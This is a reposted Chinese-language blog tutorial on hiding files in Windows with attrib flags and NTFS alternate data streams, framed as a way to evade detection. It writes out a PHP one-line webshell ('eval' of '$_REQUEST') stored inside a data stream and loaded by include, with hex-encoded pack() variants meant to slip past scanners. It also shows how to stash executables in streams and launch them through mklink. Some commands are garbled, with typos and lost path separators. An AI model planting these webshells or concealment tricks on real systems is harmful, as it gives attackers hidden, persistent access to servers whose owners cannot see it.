转自:Nurburgring
文件隐藏
一、为文件或目录设置隐藏属性
1、Attrib
1.1、语法
attrib [{+r|-r}] [{+a|-a}] [{+s|-s}] [{+h|-h}] [[Drive**:][Path] FileName] [/s**[/d]]
1.2、参数
+r :设置只读文件属性。
-r :清除只读文件属性。
+a :设置存档文件属性。
-a :清除存档文件属性。
+s :设置系统文件属性。
-s :清除系统文件属性。
+h :设置隐藏文件属性。
-h :清除隐藏文件属性。
[ Drive : ][ Path ] FileName :指定要显示或更改其属性的目录、文件或文件集的位置和名称。您可以在FileName参数中使用通配符(即 ? 和 *)来显示或更改一组文件的属性。
/ S :适用ATTRIB任何命令行选项匹配的文件在当前目录及其所有子目录。
/ d :适用ATTRIB和任何命令行选项目录。
/? :在命令提示符下显示帮助。
1.3、示例
创建 1.txt
,设置文件隐藏属性
attrib +S +H 1.txt
type 1.txt
在查看中,打开 隐藏的项目
,依然无法显示
这个命令可以把后续寄生的文件进行再次隐藏
二、使用 NTFS 文件属性来隐藏数据,逃避检测
1、NTFS文件流简介
NTFS 文件系统实现了多文件流特性,NTFS 环境一个文件默认使用的是未命名的文件流,同时可创建其他命名的文件流,windows 资源管理器默认不显示出文件的命名文件流,这些命名的文件流在功能上和默认使用的未命名文件流一致,甚至可以用来启动程序。
2、NTFS文件流生成步骤
在任意一个 NTFS 分区下打开 CMD 命令提示符,输入
echo hello world >> 2.txt:test.txt
则在当前目录下会生成一个名为 2.txt
的文件,文件的大小为 0字节
并且也没有内容
只有输入命令
notepad 2.txt:test.txt
内容被成功读出
在上边的命令中,2.txt
可以 不存在
,也可以是某个 已存在
的文件,文件格式无所谓 .txt .jpg .exe .asp
都行,冒号后 test.txt
也可以任意指定文件名以及后缀名(可以将任意文本信息隐藏于任意文件中),在不泄露冒号后文件名字的情况下,很难发现。
包含隐藏信息的文件仍然可以继续隐藏其它的内容
echo hello world >> 2.txt:test1.txt
删除 宿主 文件,寄生 文件也会被删除
2.1、进一步隐藏
echo hello >> hello1:hidden.txt
删除宿主 hello1
echo hello >> :hidden.txt
寄生到文件夹上
实际使用的话
echco "<?php @eval($_REQUEST[123]);?>" >> /:test.txt
另起一个 php
文件进行 include
包含
<?php
include('/:test.txt')
?>
3、Bypass 效果
echo "<?php @eval($_REQUEST[123]);?>" >> 1.php:shell.php
echo "<?php include '1.php:key.php';?>" >> 2.php
C:UsersayishiDesktop>dir
驱动器 C 中的卷没有标签。
卷的序列号是 C23F-CFB3
C:UsersayishiDesktop 的目录
2021/10/19 10:21 <DIR> .
2021/10/19 10:21 <DIR> ..
2021/10/19 10:21 0 1.php
2021/10/19 10:21 37 2.php
2021/08/25 10:46 1,158 360安全卫士.lnk
2021/10/18 16:19 32 shell.php
4 个文件 1,227 字节
2 个目录 17,144,414,208 可用字节
C:UsersayishiDesktop>notepad 1.php:shell.php
C:UsersayishiDesktop>notepad 2.php
又或者可以再改进利用 pack()函数
解决 include
函数
pack()
函数定义和用法
pack()
函数把数据装入一个二进制字符串;format
规定在包装数据时所使用的格式
语法
pack(format,args+)
<?php
@include(PACK('H*','xx'));
?>
将 1.php:shell.php
进行 hex
编码,后面的 shell.php
什么后缀都可以
<?php @include(PACK('H*','312e7068703a7368656c6c2e706870'));?>
或者
<?php
$a="312e7068703a7368"."656c6c2e706870";
$b="a";
include(PACK('H*',$$b))
?>
三、使用备用数据流将 payload 隐藏在其他类型的文件
ADS 备用数据流是 Windows 引入的新技术文件系统(NTFS)的产物。传统上引入它是为了提供与 Macintosh 系统的旧分层文件系统(HFS)的文件共享的兼容性,其中数据可以分叉到不同的资源中,并存储称为元数据的文件的附加数据
1、ADS Powershell
创建 ADS 文件,添加内容并隐藏
echo "This is b.txt" > b.txt
Set-Content b.txt -stream text
位于命令管道位置 1 的 cmdlet Set-Content
请为以下参数提供值:
Value[0]: This is hidden text
Value[1]:
这里直接 dir 是看不到隐藏文件的也就是 b.txt:text:$DATA
Get-Content b.txt -stream text #查看目录中的所有文件
查看目录中的所有文件
Get-Item -path .b.txt -stream *
注意:NTFS 转 FAT
如果将 ADS 文件从 NTFS 传输到 FAT32,将自动销毁替代数据流。(就比如将文件传到U盘),一个 ADS 文件是在 NTFS 系统中创建的,但是一旦将它传输到 FAT32 闪存驱动器,就会看提示不允许使用 ADS 复制文件。这是因为 ADS 功能是在 NTFS 中引入的,而 FAT32 并不支持
2、在文本文件中隐藏图像
echo helloworld > 1.txt
type hong.jpg > 1.txt:hong.jpg
del hong.jpg
dir /r
将目录更改为system 32,利用绘图打开,当打开附加了 ADS 的文本文件时,图像文件被执行
mspaint.exe C:UsersTenetDesktoptest1.txt:hong.jpg
3、在文本文件中隐藏音频
echo Jay > 1.txt
type Jay-baisefengche.mp3 > 1.txt:Jay-baisefengche.mp3
del Jay-baisefengche.mp3
dir /r
到微软自带的媒体播放目录下
wmplayer.exe C:UsersTenetDesktoptest1.txt:Jay-baisefengche.mp3
4、在文本文件中隐藏exe、vbs、ps1
微软为了安全性,在windows-xp以后的操作系统(从win7开始)就不允许直接使用 start
打开 ntfs
数据流文件,而必须使用 mklink
命令来为流文件建立一个链接,然后通过这个链接文件来打开流文件
mklink
需要高权限
4.1、操作流程
type calc.exe > a.txt:calc.exe
del calc.exe
start a.txt:calc.exe // 不允许直接使用了
mklink d.exe c.txt:calc.exe // 为流文件建立一个链接
再结合 attrib
命令使用效果更佳
四、工具
https://github.com/wangyongxina/filestreams/blob/master/Release/Release.7z
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论